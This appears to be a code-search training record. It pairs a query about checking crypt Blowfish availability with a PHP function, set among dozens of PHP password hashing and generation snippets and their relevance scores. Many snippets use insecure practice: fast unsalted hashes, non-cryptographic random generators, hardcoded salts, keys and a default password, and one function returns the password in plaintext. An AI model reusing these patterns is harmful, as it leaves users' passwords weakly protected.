"public static function generateHash($password) {\n\t$chars = array(1 => '0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z');\n\t$max = count($chars);\n\t$prefix = '';\n\t$postfix = '';\n\tfor ($i = 0; $i < 16; $i++) {\n\t $prefix .= $chars[mt_rand(1,$max)];\n\t $postfix .= $chars[mt_rand(1,$max)];\n\t}\n\treturn $prefix.self::hash($prefix.$password.$postfix).$postfix;\n }",
"function get_password_hash( $password )\r\n\t\t{\r\n\t\t\treturn hash_hmac( 'sha256', $password, 'c#haRl891', false );\r\n\t\t\t\r\n\t\t}",
"public function generate_pw(){\n $alphabet = \"abcdefghijklmnopqrstuwxyzABCDEFGHIJKLMNOPQRSTUWXYZ0123456789\";\n $pass = str_shuffle($alphabet);\n $pass = substr($pass, 0, 8);\n $this->setPassword($pass);\n return $pass; //turn the array into a string\n }",
"private function newHash()\n {\n $salt = hash('sha256', uniqid(mt_rand(), true) . 't33nh4sh' . strtolower($this->email));\n\n // Prefix the password with the salt\n $hash = $salt . $this->password;\n \n // Hash the salted password a bunch of times\n for ( $i = 0; $i < 100000; $i ++ ) {\n $hash = hash('sha256', $hash);\n }\n \n // Prefix the hash with the salt so we can find it back later\n $hash = $salt . $hash;\n \n return $hash;\n }",
"public function generatePassword()\n {\n $characters = str_shuffle('abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ23456789');\n\n return substr($characters, 0, 6);\n }",
"public function getHashedPassword(): string\n {\n return $this->getPassword();\n }",
"private function generatePassword() {\n // account is not wide open if conventional logins are permitted\n $guid = '';\n\n for ($i = 0; ($i < 8); $i++) {\n $guid .= sprintf(\"%x\", mt_rand(0, 15));\n }\n\n return $guid;\n }",
"function CreateHash($password){\n\t$salt = date('U'); //creates different password each time\n\t$pass = crypt($password, $salt);\n\treturn $pass;\n}",
"function nthash($password = \"\") {\n return strtoupper(bin2hex(mhash(MHASH_MD4, iconv(\"UTF-8\", \"UTF-16LE\", $password))));\n }",
"function _hash_password($password)\n {\n //return altered pw\n\n }",
"function returnGeneratedPassword ($_passwordLength) {\n\t\treturn substr(\n\t\t\tstr_shuffle(\n\t\t\t\tstrtolower(sha1(rand().time().\"245kngr6poksalmqwytwdihixqFGXYFJJUNT3ZSUAP90EB17VCMZcBHVEord8L\"))),0, $_passwordLength);\n\t}",
"public function pwgen()\n\t{\n\t\t// $timetarget = 0.05;\n\t\t// $cost = 8;\n\t\t// do {\n\t\t// \t$cost++;\n\t\t// \t$start = microtime(true);\n\t\t// \tpassword_hash(\"testing\", PASSWORD_BCRYPT, ['cost' => $cost]);\n\t\t// \t$end = microtime(true);\n\t\t// \techo \"{$cost}<br><hr>\";\n\t\t// } while (($end - $start) < $timetarget);\n\t\t// selesai mencari $argon2i$v=19$m=1024,t=2,p=2$czZrU3NmSkwyZWFCZzZqcg$4BCXT3Xjj+nwslQZOa8I2rO760hSmVmzCiSQ/8cfcDs\n\n\t\t$a = password_hash('admin', PASSWORD_ARGON2I);\n\t\techo \"{$a}<br>\";\n\t\t$b = password_verify('superadmin', $a);\n\t\techo \"{$b}\";\n\t\tdie();\n\t}",
"function lmhash($password = \"\") {\n $password = strtoupper($password);\n $password = substr($password, 0, 14);\n $password = str_pad($password, 14, chr(0));\n $p16 = $this->E_P16($password);\n for ($i = 0; $i < sizeof($p16); $i++) {\n $p16[$i] = sprintf(\"%02X\", $p16[$i]);\n }\n return join(\"\", $p16);\n }",
"public function generatePasswordHash($password)\n {\n return Yii::$app->security->generatePasswordHash($password);\n }",
"function generatePW($email){\n $pw = password_hash($email,PASSWORD_DEFAULT);\n return $pw;\n }",
"public function getHash() {\n return md5($this->email . $this->getSalt() . $this->getPassword());\n }",
"function generatePassword($password)\n{\n $password = hash('sha256', hash('sha256', $password)); // . \"brightisagoodguy1234567890\" . strtolower($password));\n \n return $password;\n \n}",
"public function generateHash($password)\n {\n return password_hash($password, PASSWORD_BCRYPT);\n }",
"function get_password_hash($password) {\n return crypt($password, \"$2a$07$\" . salt() . \"$\");\n}",
"function wp_hash_password( $password ) {\n\t\t$cost = apply_filters( 'wp_hash_password_cost', 10 );\n\n\t\treturn password_hash( $password, PASSWORD_DEFAULT, [ 'cost' => $cost ] );\n\t}",
"public function getPasswordHash() {\n return $this->password_hash;\n\n }",
"public function generatePassword()\n {\n $a = $this->generateUsername();\n $b = random_int(0, 9);\n $c = random_int(0, 9);\n $d = random_int(0, 9);\n return \"$a$b$c$d\";\n }",
"public function createPassword($password){\r\n return password_hash($password, PASSWORD_DEFAULT);\r\n }",
"public function generateHash()\n {\n $userContext = new UserContext();\n\n foreach ($this->providers as $provider) {\n $provider->updateUserContext($userContext);\n }\n\n $parameters = $userContext->getParameters();\n\n // Sort by key (alphanumeric), as order should not make hash vary\n ksort($parameters);\n\n return hash('sha256', serialize($parameters));\n }",
"public function hash_pword($hashme){\n return password_hash($hashme, PASSWORD_BCRYPT);/* md5(sha1($hashme)) */;\n\n}",
"public static function generateHash()\n {\n $result = '';\n $charPool = '0123456789abcdefghijklmnopqrstuvwxyz';\n for ($p = 0; $p < 15; $p++) {\n $result .= $charPool[mt_rand(0, strlen($charPool) - 1)];\n }\n\n return sha1(md5(sha1($result)));\n }",
"function generateSaltPassword () {\n\treturn base64_encode(random_bytes(12));\n}",
"function pwHash($pword = \"\"){\n\n //currently only returns the password it was given\n \n return $pword;\n\n}",
"function generate_password ()\n{\n $password = substr (md5 (mt_rand ()), 0, 8);\n return $password;\n}",
"function getPasswordSalt(){\n\t\treturn substr( str_pad( dechex( mt_rand() ), 8, '0', STR_PAD_LEFT ), -8 );\n\t}",
"public function getPassHash() {\n\t\treturn $this->passHash;\n\t}",
"private function genPass() {\r\n $random = 0;\r\n $rand78 = \"\";\r\n $randpass = \"\";\r\n $pass = \"\";\r\n $maxcount = rand( 4, 9 );\r\n // The rand() limits (min 4, max 9) don't actually limit the number\r\n // returned by rand, so keep looping until we have a password that's\r\n // more than 4 characters and less than 9.\r\n if ( ($maxcount > 8) or ( $maxcount < 5) ) {\r\n do {\r\n $maxcount = rand( 4, 9 );\r\n } while ( ($maxcount > 8) or ( $maxcount < 5) );\r\n }\r\n $rand78 = \"./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()-=_+abcdefghijklmnopqrstuvwxyz\";\r\n for ( $count = 0; $count <= $maxcount; $count++ ) {\r\n $random = rand( 0, 77 );\r\n $randpass = substr( $rand78, $random, 1 );\r\n $pass = $pass . $randpass;\r\n }\r\n $pass = substr( $pass, 0, 8 ); // Just in case\r\n return($pass);\r\n }",
"function HashPassword($input)\n{\n//Credits: http://crackstation.net/hashing-security.html\n//This is secure hashing the consist of strong hash algorithm sha 256 and using highly random salt\n$salt = bin2hex(mcrypt_create_iv(32, MCRYPT_DEV_URANDOM)); \n$hash = hash(\"sha256\", $salt . $input); \n$final = $salt . $hash; \nreturn $final;\n}",
"function hashPassword($password) {\n $cost = 10;\n $salt = strtr(base64_encode(mcrypt_create_iv(16, MCRYPT_DEV_URANDOM)), '+', '.');\n $salt = sprintf(\"$2a$%02d$\", $cost) . $salt;\n return crypt($password, $salt);\n }",
"function generarPassword() {\n\t\t$str = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890\";\n\t\t$cad = \"\";\n\t\tfor ($i = 0; $i < 8; $i++) {\n\t\t\t$cad .= substr($str, rand(0, 62), 1);\n\t\t}\n\t\treturn $cad;\n\t}",
"public function getVarificationCode(){ \n $pw = $this->randomString(); \n return $varificat_key = password_hash($pw, PASSWORD_DEFAULT); \n }",
"public function getPassword();",
"public function getPassword();",
"public function getPassword();",
"public function getPassword();",
"public function getPassword();",
"public function getPassword();",
"public function getPassword();",
"public function getPassword() {}",
"public function calculateHash($password)\n\t{\n\t\treturn md5($password . str_repeat('*enter any random salt here*', 10));\n\t}",
"function hash_password($password){\n\t// Hashing options\n\t$options = [\n 'cost' => 12,\t// Cost determines the work required to brute-force\n //'salt' => mcrypt_create_iv(22, MCRYPT_DEV_URANDOM),\n\t];\n\n\treturn password_hash($password, PASSWORD_BCRYPT, $options);\n}",
"function string5(){\n\n $string5 = \"Hola mundo\";\n $hash2 = password_hash($string5, PASSWORD_BCRYPT);\n\n echo $hash2;\n\n}",
"function generatePassword() {\n\t//* (c) Hitech Scripts 2003\n\t//* For more information, visit http://www.hitech-scripts.com\n\t//* modified for phpgiftreg by Chris Clonch\n\tmt_srand((double) microtime() * 1000000);\n\t$newstring = \"\";\n\tif ($GLOBALS[\"OPT\"][\"password_length\"] > 0) {\n\t\twhile(strlen($newstring) < $GLOBALS[\"OPT\"][\"password_length\"]) {\n\t\t\tswitch (mt_rand(1,3)) {\n\t\t\t\tcase 1: $newstring .= chr(mt_rand(48,57)); break; // 0-9\n\t\t\t\tcase 2: $newstring .= chr(mt_rand(65,90)); break; // A-Z\n\t\t\t\tcase 3: $newstring .= chr(mt_rand(97,122)); break; // a-z\n\t\t\t}\n\t\t}\n\t}\n\treturn $newstring;\n}",
"function getHashedPassword($pass){\n\t\t$newhashed= password_hash($pass,PASSWORD_DEFAULT);\n\t\treturn $newhashed;\n\t}",
"public function getRandomPassword(): string\n {\n return $this->random_password;\n }",
"public static function GetPasswordHash($str)\n {\n global $PASSWORD_HASH_INFO;\n if (empty($PASSWORD_HASH_INFO)) {\n $type = 'sha256';\n $user_salt = '';\n $random_salt_length = 8;\n } else {\n $type = $PASSWORD_HASH_INFO['type'];\n $user_salt = $PASSWORD_HASH_INFO['user_salt'];\n $random_salt_length = $PASSWORD_HASH_INFO['random_salt_length'];\n }\n $random_salt = ($random_salt_length)? substr(md5(uniqid(rand())), 0, $random_salt_length) : '';\n return $random_salt . hash($type, $random_salt . $str . $user_salt);\n }",
"protected function getHash(): string\n {\n return hash('crc32', md5((string) mt_rand()));\n }",
"function generatePasswordHash($password = '', $nonce = '')\n{\n\t// validate inputs\n\tif (empty($password)\n\t\t|| empty($nonce)\n\t\t|| strlen($nonce) < 3\n\t){\n\t\treturn '';\n\n\t} // end if (empty($password) || empty($nonce) || strlen($nonce) < 3)\n\n\t// find the number of string parts\n\t$count = floor(strlen($password) / 3);\n\n\t// initialize array\n\t$temp = [];\n\n\t// disassemble password\n\tfor ($n=0; $n<4; $n++)\n\t{\n\t\t$temp[] = substr($password, $n*$count, $count);\n\n\t} // end for ($n=0; $n<3; $n++)\n\n\t// reassemble\n\treturn @md5(md5($temp[0]).md5($nonce[0]).md5($temp[1]).md5($nonce[1]).md5($temp[2]).md5($nonce[2]).md5($temp[3]).md5($nonce[3]).md5('&K#D&GV%A#G*&##N)1S6^&H'));\n\n}",
"private function generatePasswordHash($string)\n\t{\n\t\t$string = is_string($string) ? $string : strval($string);\n\t\t$pwHash = encrypto($string);\n\t\treturn $pwHash;\n\t}",
"function generatePassword() {\n //Initialize the random password\n $password = '';\n\n //Initialize a random desired length\n $desired_length = rand(8, 12);\n $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n for ($length = 0; $length < $desired_length; $length++) {\n //Append a random ASCII character (including symbols)\n $password .= $characters[mt_rand(0, strlen($characters) - 1)];\n }\n\n return $password;\n }",
"function hashPassword($password){\r\n\r\n\t$hash =password_hash($password,PASSWORD_DEFAULT);\r\n\treturn $hash;\r\n}",
"public function getHash() : string {\n\t\t// sha256 = 64 characters\n\t\treturn hash_hmac('sha256', $this->token, getenv('ENCRYPTION_KEY'));\n\t}",
"public function hash_user_pass($password) {\n\n $salt = sha1(rand());\n $salt = substr($salt, 0, 10);\n\n//PASSWORD_DEFAULT is a default function in PHP it contains BCRYPT algo at backend PHP is using BCRYPT currently\n//as it is most secure password hashing algorithm using today the term DEFAULT means that if another hashing algorithm is introduced in\n//future it will automatically updated to the library ny PHP so the developer has no need to update in the code.\n $hashing = password_hash($password.$salt, PASSWORD_DEFAULT);\n $hash = array(\"salt\" => $salt, \"hashing\" => $hashing);\n\n return $hash;\n\n}",
"function string4(){\n\n $string4 = \"Hola mundo\";\n $hash1 = password_hash($string4, PASSWORD_DEFAULT);\n\n echo $hash1;\n\n}",
"function hash_clients_pass($pass){\n\t//Get pepper options\n\t// require_once 'api-config.php';\n\n\t// echo \"<br>SHIT<br> \". getPepper() . \"<br>\";\n\t// $pepper = getPepper() ;\n\n\t$config_options = getConfigOptions();\n\n\t$pepper = $config_options['pepper'];\n\t$cost = $config_options['peppercost'];\n\n\t$hashedPass = password_hash($pass.$pepper, PASSWORD_DEFAULT, $cost);\n\n\treturn $hashedPass;\n}",
"public function getPassword(): string;",
"function pw_hash($password)\n{\n // A higher \"cost\" is more secure but consumes more processing power\n $cost = 10;\n\n // Create a random salt\n $salt = strtr(base64_encode(mcrypt_create_iv(16, MCRYPT_DEV_URANDOM)), '+', '.');\n\n // Prefix information about the hash so PHP knows how to verify it later.\n // \"$2a$\" Means we're using the Blowfish algorithm. The following two digits are the cost parameter.\n $salt = sprintf(\"$2a$%02d$\", $cost) . $salt;\n\n // Hash the password with the salt\n $hashed = crypt($password, $salt);\n\n return $hashed;\n}",
"function getHash( $password, $salt = '' )\r\n{\r\n\treturn hash( 'sha256', $password . $salt );\r\n}",
"public static function make(string $password, $algo = PASSWORD_DEFAULT) : string {\n\t return password_hash($password, $algo);\n }",
"function getPasswordHash($password,$salt){\n\t\treturn hash('sha256',$salt.$password);\n}",
"public static function generateRandomPassword ()\n {\n return rand(10000, 99999);\n }",
"public function getHashedPassword(){\n\n // query the database to get the users password\n // database instance\n $db = database::getPDOobject();\n\n // query\n $checkUser = $db->prepare('SELECT `password` FROM `users` WHERE BINARY `user_name` = BINARY :userName LIMIT 1');\n $checkUser->bindParam(':userName',$this->username);\n $checkUser->execute();\n $encyptedPassword = $checkUser->fetch()['password'];\n\n return $encyptedPassword;\n}",
"function gethashpass($password,$salt,$timestamp) {\n\t\t\t$ps = $password.$salt;\n\t\t\t$joinps = md5($ps);\n\t\t\t$timehash = md5($timestamp);\n\t\t\t$joinallstr = $joinps.$timehash;\n\t\t\t$hashpass = md5($joinallstr);\n\t\t\t$encodepass = substr(base64_encode($hashpass),0,32);\n\t\t\treturn $encodepass;\n\t\t}",
"function getPasswordHash($password){\n\t\t$salt = $this->getPasswordSalt();\n\t\treturn $salt . ( hash('sha256', $salt . $password ) );\n\t}",
"public function getHashedPassword()\n {\n return $this->password;\n }",
"function makeHash($password) {\r\n return crypt($password, makeSalt());\r\n}",
"function getHashedPass($password, $salt)\n{\n $saltedPass = $password . $salt;\n return hash('sha256', $saltedPass);\n}",
"function getPassword(){\n $options = sciploreDataAccessBundle::getGeneralOptions();\n //$options = $container->get('sciplore.options')->getGeneralOptions();\n $require_password = $options['authentifiaction_requires_password']; \n if($require_password==1){\n return $this->passphrase;\n }\n else{\n //hardcoded random default password. Must be sent by the authentification form in a hidden field.\n return 'WnDadvfhWqoJnHuXtyxwZxGbfHsXrNwI3Idns4d2Ie9BnEjYnr14ijyCr0YPg7i';\n }\n }",
"public static function generate_password()\n\t{\n\t\t$chars = array(\n\t\t\t'a','b','c','d','e','f','g','h','i','j','k','l','m','n',\n\t\t\t'o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D',\n\t\t\t'E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T',\n\t\t\t'U','V','W','X','Y','Z','1','2','3','4','5','6','7','8','9','0',\n\t\t\t'!','@','#','$','%','^','&','*','(',')','_','-','+','=','{','~',\n\t\t\t'}','[',']','|','/','?','>','<',':',';'\n\t\t);\n\n\t\t$new_pw = '';\n\t\tfor($i=0;$i<20;$i++)\n\t\t{\n\t\t\t$new_pw .= $chars[rand(0, count($chars)-1)];\n\t\t}\n\n\t\treturn $new_pw;\n\t}",
"public function generarPassword() {\n $caracteres = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJCLMNOPQRSTUVWXYZ1234567890\";\n\n $aleatorio = '';\n for ($i = 0; $i < 5; $i++) {\n $caracter = rand(0, strlen($caracteres));\n $caracter = substr($caracteres, $caracter, 1);\n $aleatorio = $aleatorio . '' . $caracter;\n }\n\n return md5($aleatorio);\n }",
"public function Password($password)\r\n {\r\n return password_hash($password, PASSWORD_DEFAULT);\r\n }",
"function generate_random_password($len = 8)\n {\n }",
"private static function getPwdHash($pwd) {\n\t\treturn hash_hmac('md5', $pwd, '3#~tL*');\n\t}",
"public static function regenerateSalt()\n\t{\n\t\treturn PzPHP_Helper_String::createCode(mt_rand(40,45), PzPHP_Helper_String::ALPHANUMERIC_PLUS);\n\t}",
"public static function generateHash($salt, $password) {\n $hash = crypt($password, $salt);\n return substr($hash, 29);\n }"
] | [
"0.82160205",
"0.8116631",
"0.7750029",
"0.7605754",
"0.7582493",
"0.7566017",
"0.7558577",
"0.7533961",
"0.75299895",
"0.7519618",
"0.7519618",
"0.7484108",
"0.7433369",
"0.7424463",
"0.74075025",
"0.7398727",
"0.73732054",
"0.7361707",
"0.73519593",
"0.7346596",
"0.7297986",
"0.7273346",
"0.72655135",
"0.7249304",
"0.7241401",
"0.7225293",
"0.72123265",
"0.7193599",
"0.71686363",
"0.71681637",
"0.71451724",
"0.7126975",
"0.70988965",
"0.7098204",
"0.70904",
"0.70761687",
"0.7071903",
"0.7068169",
"0.7060917",
"0.7028351",
"0.70253223",
"0.70169586",
"0.70072174",
"0.69978464",
"0.69951254",
"0.6975597",
"0.6956867",
"0.69557023",
"0.6952508",
"0.69314224",
"0.6928196",
"0.692658",
"0.6921199",
"0.6919691",
"0.69177",
"0.6915507",
"0.6906875",
"0.6906875",
"0.6906875",
"0.6906875",
"0.6906875",
"0.6906875",
"0.6906875",
"0.68961626",
"0.6891287",
"0.6886109",
"0.68845004",
"0.6883497",
"0.6876716",
"0.6871329",
"0.68713015",
"0.6868212",
"0.68680745",
"0.6864454",
"0.6856544",
"0.6855746",
"0.6848453",
"0.6847981",
"0.6844531",
"0.6838939",
"0.68366385",
"0.6830992",
"0.68121576",
"0.68108714",
"0.6810523",
"0.68030113",
"0.67977667",
"0.6795716",
"0.6791889",
"0.67827517",
"0.6776487",
"0.677561",
"0.6775576",
"0.6771489",
"0.67661774",
"0.675605",
"0.6747816",
"0.67433083",
"0.67428106",
"0.67385674"
] | 0.7290625 | 21 |
Check is Available Crypt BlowFish | private static function checkIsAvailableCryptBlowFish() {
if (defined("CRYPT_BLOWFISH") && CRYPT_BLOWFISH) {
return true;
}
return false;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"function isAvailable() ;",
"function isAvailable() ;",
"function getIsAvailable() ;",
"function isAvailable()\n {\n }",
"public function hasCrypt(): bool;",
"public function isAvailable() {}",
"public function isAvailable() {}",
"public function isAvailable() {}",
"public function isAvailable() {}",
"public function isAvailable() {}",
"public function isAvailable() {}",
"public function isAvailable() {}",
"public function isAvailable() {}",
"public function isAvailable() {}",
"public function isAvailable() {}",
"public function isAvailable() {}",
"public function isAvailable() {}",
"public function isAvailable() {}",
"public function isAvailable() {}",
"public function isAvailable() {}",
"public function isAvailable() {}",
"public function isAvailable() {}",
"abstract public function isAvailable() ;",
"public static function is_available()\n {\n }",
"public function hasCryptFilter() {}",
"function psswrdhsh_is_installed()\n{\n\tglobal $db, $settings;\n\n\tif (isset($settings['psswrd_cost'])) {\n\t\treturn true;\n\t}\n\n\tif ($db->field_exists('passwordhash', 'users')) {\n\t\treturn true;\n\t}\n\n\treturn false;\n}",
"function check() {\r\n static $pass = NULL;\r\n if (is_null($pass)) {\r\n if (function_exists('crypt')) {\r\n $hash = '$2y$04$usesomesillystringfore7hnbRJHxXVLeakoG8K30oukPsA.ztMG';\r\n $test = crypt(\"password\", $hash);\r\n $pass = $test == $hash;\r\n } else {\r\n $pass = false;\r\n }\r\n }\r\n return $pass;\r\n }",
"public function getIsAvailable() {}",
"public function getIsAvailable();",
"private function IsFreeAccount() {\n $ret = TRUE;\n $curl = curl_init();\n curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);\n curl_setopt($curl, CURLOPT_USERAGENT, DOWNLOAD_STATION_USER_AGENT);\n curl_setopt($curl, CURLOPT_COOKIEFILE, $this->TOUTDEBRID_COOKIE);\n curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE);\n curl_setopt($curl, CURLOPT_URL, $this->TOUTDEBRID_ACCOUNT_URL);\n $AccountRet = curl_exec($curl);\n curl_close($curl);\n preg_match('/Compte:.*<b>(.*)<\\/b>/', $AccountRet, $match);\n if (isset($match[0])) {\n $compare = strtolower($match[0]);\n if (strstr($compare, $this->TOUTDEBRID_PREMIUM_ACCOUNT_KEYWORD)) {\n $ret = FALSE;\n }\n }\n return $ret;\n }",
"public function isAvailable(): bool;",
"public function check_availability() {\n \n if ( ( $this->client_id != '' ) AND ( $this->client_secret != '' ) ) {\n \n return true;\n \n } else {\n \n return false;\n \n }\n \n }",
"public function is_available() {\n\t\treturn $this->secret_api_key && $this->publishable_api_key;\n\t}",
"public function available();",
"public function available();",
"function checkHotp($secret, $counter, $key);",
"public static function isAvailable()\n\t{\n\t\treturn true;\n\t}",
"public function is_available() {\n if ($this->enabled == \"yes\") {\n if (!is_ssl() && !$this->testmode) {\n return false;\n }\n // Required fields check\n if (!$this->secret_key || !$this->publishable_key) {\n return false;\n }\n return true;\n }\n return false;\n }",
"private function scan_allowed() {\n\t\treturn $this->as3cf->is_plugin_enabled();\n\t}",
"public function isAvailable() {\n return (function_exists('apc_fetch') || function_exists('apcu_fetch')) &&\n ini_get('apc.enabled') &&\n (ini_get('apc.enable_cli') || php_sapi_name() != 'cli');\n }",
"public static function isAvailable ()\n\t{\n\t\tif (!function_exists('curl_version')){\n\t\t\treturn false;\n\t\t}\n\n\t\t$versionInfo = curl_version();\n\t\t$versionTab = explode('.', $versionInfo['version']);\n\n\t\tif ($versionTab[0] < 7 || ($versionTab[0] == 7 && $versionTab[1] < 10) || ($versionTab[0] == 7 && $versionTab[1] == 10 && $versionTab[2] < 5)){\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t}",
"public function isAvailable(): bool\n {\n return true;\n }",
"public function is_available() {\n\t\tif ( 'yes' !== $this->enabled ) {\n\t\t\treturn false;\n\t\t}\n\n\t\tif ( ! $this->public_key || ! $this->private_key ) {\n\t\t\treturn false;\n\t\t}\n\n\t\treturn true;\n\t}",
"function checkLicence() {\n\n $isValid = true;\n \n return $isValid;\n}",
"function checkAvailableProduct($prodNum )\n\t\t{\n\t\t\t$db = dbConnect::getInstance();\n \t\t $mysqli = $db->getConnection();\n\t\t\t$query = \" select * from products_tb where id= '\".$prodNum.\"' and status ='1' \"; \n $res = $mysqli->query($query) or die (mysqli_error($mysqli));\n\t\t\tif(mysqli_num_rows($res) > 0)\n\t\t\t{\n\t\t\t\treturn true;\t\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}",
"public function isAvailable()\n\t{\n\t\ttry {\n\t\t\t$output = $this->execute('x = 3;');\n\t\t} catch (ExternalRuntimeException $e) {\n\t\t\treturn false;\n\t\t}\n\n\t\treturn true;\n\t}",
"function check_security() {\n global $wpdb, $publicKey, $secretKey, $currencySymbol;\n $state = true;\n \n $server_url_parts = explode('.', $_SERVER[\"SERVER_NAME\"]);\n if(!empty($this->url_specified) && $server_url_parts[count($server_url_parts)-1]!=='dev') {\n $url_parts = $this->url_specified;\n } else {\n $url_parts = $server_url_parts;\n }\n if((!isset($_SERVER[\"HTTPS\"]) || (isset($_SERVER[\"HTTPS\"]) && $_SERVER[\"HTTPS\"] != \"on\" && $_SERVER[\"HTTPS\"]!= 1)) && $url_parts[count($url_parts)-1]!=='dev' && !isset($_GET['devtest'])) {\n if(!empty($this->url_specified)) {\n $newurl = \"https://\" . $this->url_specified . $_SERVER[\"REQUEST_URI\"];\n } else {\n $newurl = \"https://\" . $_SERVER[\"SERVER_NAME\"] . $_SERVER[\"REQUEST_URI\"];\n }\n header(\"Location: $newurl\");\n exit();\n }\n \n $error = \"\";\n if( strlen($publicKey)==0) {\n $error .= \"<li>Public key is not set.</li>\";\n }\n if( strlen($secretKey)==0) {\n $error .= \"<li>Secret key is not set.</li>\";\n }\n if( strlen($currencySymbol)==0) {\n $error .= \"<li>Currency symbol is not set.</li>\";\n }\n\n if(strlen($error)>0) {\n $error = \"<div class='stripe-payment-config-errors'><p>Fix the following configuration errors before using the form.</p><ul>\".$error.\"</ul></div>\";\n $this->config_errors = $error;\n }\n \n return $state;\n }",
"function check_definitions() {\n\tglobal $config, $install_errors;\n\tif(is_localhost()) return true;\n\t\n\t// Crypt salt\n\tif(!check_value(__CHV_CRYPT_SALT__)) {\n\t\t$install_errors[] = 'You need to set <code>__CHV_CRYPT_SALT__</code> in <code>includes/definitions.php</code>. You only need to change this only the first time you install Chevereto';\n\t}\n\tif(__CHV_CRYPT_SALT__=='changeme') {\n\t\t$install_errors[] = 'You haven\\'t changed the default <code>__CHV_CRYPT_SALT__</code>. Please set this value in <code>includes/definitions.php</code>';\n\t}\n\tif(count($install_errors)==0) return true;\n}",
"public function sslGetCipherInfo(): string|false {}",
"protected static function checkBlowfish()\n\t{\n\t\tif(!function_exists('crypt'))\n\t\t\tthrow new CException(Yii::t('yii','{class} requires the PHP crypt() function. This system does not have it.',\n\t\t\t\tarray('{class}'=>__CLASS__)));\n\n\t\tif(!defined('CRYPT_BLOWFISH') || !CRYPT_BLOWFISH)\n\t\t\tthrow new CException(Yii::t('yii',\n\t\t\t\t'{class} requires the Blowfish option of the PHP crypt() function. This system does not have it.',\n\t\t\t\tarray('{class}'=>__CLASS__)));\n\t}",
"private function checkConnection(){\n\t\t\t\n\t\t\t$request = $this->url.$this->getMode(\"version\").\"?\".$this->key_string;\n\t\t\t$this->http->setURL($request);\n\t\t\t$response = $this->http->send();\n\t\t\t//echo $this->http->HTMLizeErrlog();\n\t\t\t$this->bn_version = str_replace(\"_\", \".\", $response[\"version\"]);\n\n\t\t\treturn $this->http->status;\n\t\t}",
"public function hasPwIsExist(){\n return $this->_has(2);\n }",
"public function isEuRegistered();",
"function Check()\n {\n $this->_RegenerateId();\n return (isset($_SESSION['ss_fprint1']) && $_SESSION['ss_fprint1'] == $this->_Fingerprint());\n }",
"function ms_site_check()\n {\n }",
"public function is_available() {\n\t\tif ( 'yes' === $this->enabled ) {\n\t\t\tif ( ! $this->testmode && is_checkout() ) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\tif ( ! $this->secret_key || ! $this->publishable_key ) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}",
"public function hasPasswordBrokerFactory(): bool;",
"function accountswitcher_is_installed()\n{\n\tglobal $db;\n\n\tif ($db->field_exists(\"as_uid\", \"users\") && $db->field_exists(\"as_canswitch\", \"usergroups\") && $db->field_exists(\"as_limit\", \"usergroups\"))\n\t{\n\t\treturn true;\n\t}\n\telse\n\t{\n\t\treturn false;\n\t}\n}",
"public function isInstalled(){\n if(self::$isInstalled === true){\n return true; \n }\n \n exec('type diatheke', $output, $returnVal);\n if($returnVal === 0){\n self::$isInstalled = true;\n return true;\n }else{\n return false;\n }\n \n }",
"public function dbIsInstalled();",
"private function test_availability() {\r\n\r\n $this->add_log('test_availability: Testing ws availability...', 'DEBUG');\r\n\r\n $params = new stdClass();\r\n $params->from = @new SoapVar($this->sender, XSD_STRING, \"string\", \"http://www.w3.org/2001/XMLSchema\");\r\n $this->call_function('disponibilitat', $params);\r\n $this->add_log('test_availability: Server avalaible', 'DEBUG');\r\n }",
"abstract function can_use_premium_code();",
"public function woffice_tf_check() {\n\t\t\n\t\t/* We get the data from the OPTIONS */\n\t\t$tf_username = fw_get_db_ext_settings_option('woffice-updater', 'tf_username');\n\t\t$tf_purchasecode = fw_get_db_ext_settings_option('woffice-updater', 'tf_purchasecode');\n\t\t\n\t\tif (empty($tf_username) || empty($tf_purchasecode)) {\n\t\t\treturn;\n\t\t} \n\t\t\n\t\t$request_string = array(\n\t\t\t'body' => array( \n\t\t\t\t'action' => 'check_purchase', \n\t\t\t 'username' => htmlspecialchars($tf_username),\n\t\t\t 'purchase_code' => htmlspecialchars($tf_purchasecode),\n\t\t\t)\n\t\t);\n\t\t/* We use our API */\n\t\t$raw_response = wp_remote_post( 'http://alka-web.com/woffice-updater/theme-updater.php', $request_string );\n \n\t\t/* We check */\n\t\t$response = null;\n \tif( !is_wp_error($raw_response) && ($raw_response['response']['code'] == 200) ) {\n \t\t$response = $raw_response['body'];\n \t}\n \tif( !empty($response) ) {\n \t\tif ($response == 'true') {\n\t \t\t/*If it works we save that data in the options table*/\n\t\t\t\tupdate_option('woffice_license','checked');\n\t\t\t\treturn true;\n \t\t}\n \t\telse {\n\t \t\tupdate_option('woffice_license','not-checked');\n\t\t\t\treturn;\n \t\t}\n \t}\n\t\t\n\t}",
"private final function CheckMcrypt()\r\n\t\t{\r\n\t\t\tif (!function_exists(\"mcrypt_module_open\"))\r\n\t\t\t\tCore::ThrowException(\"Cannot call mcrypt_module_open(). Mcrypt extension not installed?\", E_ERROR);\r\n\t\t}",
"public function isFree(): bool\n {\n }",
"public function isAvailable() {\n $path = $this->path();\n return file_exists($path);\n }",
"private function isApiAvailable() {\n\t\treturn get_option(\"wp_broadbean_ipavailibility\") == 1;\n\t}",
"function isGuestLoginAvailable()\n{\n\treturn false;\n}",
"public function hasPwIsExist(){\n return $this->_has(4);\n }",
